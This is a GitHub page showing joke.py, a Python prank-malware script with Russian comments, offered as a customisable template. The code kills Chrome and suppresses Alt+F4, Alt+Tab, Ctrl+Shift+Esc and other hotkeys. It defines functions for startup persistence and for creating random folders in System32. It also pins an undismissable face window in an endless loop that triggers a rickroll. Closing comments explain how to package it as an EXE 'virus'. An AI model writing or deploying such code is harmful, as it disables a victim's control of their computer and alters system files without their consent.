forked from karvar2009/just_a_homework
-
Notifications
You must be signed in to change notification settings - Fork 0
/
joke.py
146 lines (124 loc) · 6.55 KB
/
joke.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# РУКОВОДСТВО ДЛЯ ЧАЙНИКОВ
# ОТНОСИТСЯ К ОПИСАНИЮ
# когда что-то находится в этих --><-- стрелочках ниже это можно изменять : print('-->Арсений умный человек и хороший Ютубер<--')
# ТЕГИ
# теги пишутся в круглых скобках (тег)
# тег : изменяемо (роби чего хочешь)
# тег : кодик (желательно изменить под себя)
# тег : неизменяемо (нельзя каким либо образом изменять)
# тег : не удаляемо (можно добавлять но не удалять или изменять это)
# тег : удаляемо (можно[желательно вырезать под корень])
# над другое: можно удалять, можно изменять
# напиши в консоль для установки необходимых библеотек:
# pip install ctypes, keyboard, PyAutoGUI, pygame, pyinstaller, pywin32-ctypes
# КОД
# импортируем то что надо (изменяемо, не удаляемо)
import ctypes
import time
from ctypes import wintypes
import os
import keyboard
import random
import pygame
import pyautogui
import getpass
from pygame.draw import *
import webbrowser
pygame.init()
# получаем имя пользователя (не изменяемо)
USER_NAME = getpass.getuser()
# функция добавляющаяся в автозагрузку зависит от USER_NAME (не изменяемо)
def add_to_startup(file_path=""):
if file_path == "":
file_path = os.path.dirname(os.path.realpath(__file__))
bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
with open(bat_path + '\\' + "open.bat", "w+") as bat_file:
bat_file.write(r'start "" %s' % file_path)
# убиваем chrome(удаляемо, неизменяемо), os.system("-->taskkill /IM chrome.exe<--")
os.system("taskkill /IM chrome.exe")
# блокируем нажатия клавиш(изменяемо), keyboard.add_hotkey("-->alt + f4<--", None suppress=True)
keyboard.add_hotkey("alt + f4", lambda: None, suppress=True)
keyboard.add_hotkey("alt + tab", lambda: None, suppress=True)
keyboard.add_hotkey("Ctrl + Shift + Esc", lambda: None, suppress=True)
keyboard.add_hotkey("Alt +Esc", lambda: None, suppress=True)
keyboard.add_hotkey("Ctrl +Esc", lambda: None, suppress=True)
keyboard.add_hotkey("f1", lambda: None, suppress=True)
# создание случайного названия (удаляемо, не изменяемо)
def random_name(length):
number = '0123456789'
alpha = 'abcdefghijklmnopqrstuvwxyz'
idshnik = 'joke_'
for i in range(0, length, 2):
idshnik += random.choice(number)
idshnik += random.choice(alpha)
return idshnik
# создание нужного количества папок со случайным названием в папке, os.mkdir(r"-->C:\Windows\System32\\<--" + na)
# зависит от random_name (изменяемо)
def fold(col):
for i in range(col):
na = random_name(50)
os.mkdir(r"C:\Windows\System32\\" + na)
# что нам делать:
# =====================================================================================================================
# создаём картинки (кодик,удаляемо)
# бесконечный цикл ಠ益ಠ
while True:
# размер и цвет окна
# размер x, y ; SCREEN = (-->1300, 150<--)
# цвет (можно в RGB или название цвета), SCREEN_COLOR = -->"white"<--
SCREEN = (400, 400)
SCREEN_COLOR = "white"
# не просят не трогай(по стандарту)
SCREEN1 = SCREEN[0]
SCREEN2 = SCREEN[1]
FPS = 30
screen = pygame.display.set_mode(SCREEN)
N = 10
rect(screen, SCREEN_COLOR, [0, 0, SCREEN1, SCREEN2])
# если чего-то надо написать или нарисовать
class my_face:
class skin:
circle(screen, color="yellow", radius=150, center=[200, 200])
class eyes:
circle(screen, color="red", radius=30, center=[140, 150])
circle(screen, color="black", radius=15, center=[140, 150])
circle(screen, color="red", radius=25, center=[260, 150])
circle(screen, color="black", radius=10, center=[260, 150])
class brows:
line(screen, "black", [90, 60], [190, 140], 10)
line(screen, "black", [200, 140], [300, 90], 10)
class mouth:
ellipse(screen, "black", [110, 200, 180, 120])
ellipse(screen, "yellow", [110, 220, 180, 120])
# перестань творить
pygame.display.update()
clock = pygame.time.Clock()
finished = False
hwnd = pygame.display.get_wm_info()['window']
# делаем поверх других окон
user32 = ctypes.WinDLL("user32")
user32.SetWindowPos.restype = wintypes.HWND
user32.SetWindowPos.argtypes = [wintypes.HWND, wintypes.HWND, wintypes.INT, wintypes.INT, wintypes.INT,
wintypes.INT, wintypes.UINT]
user32.SetWindowPos(hwnd, -1, 400, 400, 0, 0, 0x0001)
# при закрытии окна:
while not finished:
clock.tick(FPS)
for event in pygame.event.get():
if event.type == pygame.QUIT:
# двигаем мышкой и запускаем рикролл :-) (кодик, удаляемо)
for u in range(1):
try:
webbrowser.open('https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley', new=0)
pyautogui.moveRel(500, 500, duration=0.25)
pyautogui.moveRel(-300, -300, duration=0.25)
except:
pass
# не трогай если не удаляешь вывод чего-либо(не изменяемо)
finished = True
pygame.quit()
time.sleep(300)
# =====================================================================================================================
# для создания EXE файла в консоль пишешь: pyinstaller --onefole --noconsole название_файла.py
# находишь в папке проекта папку dist и вот твой EXE вирус
# план по захвату человечества ГОТОВ на 100%